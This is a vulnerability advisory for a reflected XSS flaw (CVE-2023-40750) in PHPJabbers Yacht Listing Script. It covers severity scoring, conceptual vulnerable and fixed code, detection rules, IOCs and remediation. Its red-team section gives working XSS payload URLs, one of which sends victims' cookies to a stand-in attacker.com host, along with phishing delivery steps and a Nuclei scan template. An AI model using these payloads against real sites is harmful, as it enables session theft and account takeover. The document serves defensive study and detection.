CVE-2023-40750

Executive Summary

CVE-2023-40750 is a reflected Cross-Site Scripting (XSS) vulnerability in PHPJabbers Yacht Listing Script v1.0. The flaw exists in the action parameter of index.php, allowing an unauthenticated attacker to inject arbitrary JavaScript code. Successful exploitation requires user interaction (e.g., clicking a crafted link) and can lead to credential theft, session hijacking, or manipulation of yacht listings. The vulnerability is publicly documented with a verified Nuclei template, and no official patch has been released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction but the potential for significant impact in a yacht listing management context, including credential theft and data manipulation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the action parameter of index.php. The application fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL with a malicious payload in the action parameter, such as:

/index.php?controller=pjAdmin&action=<img src=x onerror=prompt(document.domain)>

When a victim (e.g., an administrator) clicks this link, the browser executes the injected JavaScript. The script runs in the context of the vulnerable domain, allowing access to cookies, session tokens, and the ability to perform actions on behalf of the victim.

The Nuclei template confirms the vulnerability by sending a POST request and checking for the reflected payload in the response body. The action parameter is directly embedded without sanitization, leading to script execution.

Vulnerable vs. Patched Code

Vulnerable Code (PHPJabbers Yacht Listing Script v1.0): The action parameter is likely retrieved via $_GET['action'] or $_POST['action'] and echoed directly into the HTML response without any filtering or encoding.

// Vulnerable example (conceptual)
$action = $_REQUEST['action'];
echo "<div class='action'>$action</div>";

Patched Code (Hypothetical): A secure implementation would use htmlspecialchars() or equivalent to encode HTML entities, preventing script injection.

// Patched example (conceptual)
$action = htmlspecialchars($_REQUEST['action'], ENT_QUOTES, 'UTF-8');
echo "<div class='action'>$action</div>";

No official patch has been released by PHPJabbers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• PHPJabbers Yacht Listing Script v1.0 installed on a target server.
• A victim user (e.g., admin) who will click the malicious link.

Exploitation Steps:

1. Craft a malicious URL with a JavaScript payload in the action parameter:

   http://target.com/index.php?controller=pjAdmin&action=<script>alert('XSS')</script>
   

2. Deliver the link to the victim via phishing email, social media, or other means.
3. When the victim clicks the link, the script executes in their browser.
4. For credential theft, use a payload that sends cookies to an attacker-controlled server:

   http://target.com/index.php?controller=pjAdmin&action=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

Nuclei Template Usage: The provided Nuclei template can be used to verify the vulnerability:

nuclei -t CVE-2023-40750.yaml -u http://target.com

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing suspicious patterns in the action parameter, such as <script>, <img, onerror, onload, or javascript:.
2. Implement a Web Application Firewall (WAF) rule to block requests with HTML tags in the action parameter.
3. Use the provided Sigma rule to detect exploitation attempts in proxy or web server logs.

Lab Setup:

• Install PHPJabbers Yacht Listing Script v1.0 on a local or isolated server.
• Use a browser with developer tools to inspect the reflected payload.
• Simulate an attack using the Nuclei template or a crafted URL.

Indicators of Compromise (IOCs)

• URL Pattern: index.php?controller=pjAdmin&action=<script>... or similar HTML injection.
• HTTP Request: POST to /index.php with action parameter containing <img src=x onerror=...> or <script> tags.
• Response Body: Reflection of the injected HTML/JavaScript in the page source.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if exfiltration payload is used).

Detection Engineering

YARA Rule

rule CVE_2023_40750_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2023-40750 in PHPJabbers Yacht Listing Script"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40750"
    strings:
        $xss_payload1 = /action=<[^>]*script[^>]*>/i
        $xss_payload2 = /action=<[^>]*onerror[^>]*>/i
        $xss_payload3 = /action=<[^>]*onload[^>]*>/i
        $xss_payload4 = /action=javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-40750 XSS Attempt in PHPJabbers Yacht Listing Script
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against the action parameter in index.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'controller=pjAdmin&action='
        cs-uri-query|re: '(action=<[^>]*script[^>]*>|action=<[^>]*onerror[^>]*>|action=<[^>]*onload[^>]*>|action=javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in action parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-40750 XSS Attempt - PHPJabbers Yacht Listing Script"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"controller=pjAdmin&action="; http_uri; pcre:"/(action=<[^>]*script[^>]*>|action=<[^>]*onerror[^>]*>|action=<[^>]*onload[^>]*>|action=javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-40750

info:
  name: PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Yacht Listing Script v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal yacht listing administrator credentials and manipulate boat listings.
  remediation: |
    Update PHPJabbers Yacht Listing Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40750
    cwe-id: CWE-79
    epss-score: 0.01268
    epss-percentile: 0.79563
    cpe: cpe:2.3:a:phpjabbers:yacht_listing_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: yacht_listing_script
  tags: cve,cve2023,phpjabbers,yacht-listing,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207262192a790609d9694008cb11830c283683db74f6958c48a6803d0ba23e9548022100b16a344d97e91f61f6d7f1232ba5443674f23c4cc5543170e122103845faf2fa:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply htmlspecialchars() or equivalent to all user-supplied input, especially the action parameter, before reflecting it in the response.
2. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and only allow trusted sources.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing HTML tags or JavaScript in the action parameter.

Long-Term Fix:

• Upgrade to a patched version of PHPJabbers Yacht Listing Script if one becomes available.
• Conduct a full security audit of the application to identify and fix similar vulnerabilities.

Workarounds:

• If patching is not possible, consider disabling the vulnerable functionality or restricting access to the admin panel via IP whitelisting.

Valters IT

{/* [Security Hash: 458E102FC72E3D208BA2211A] */}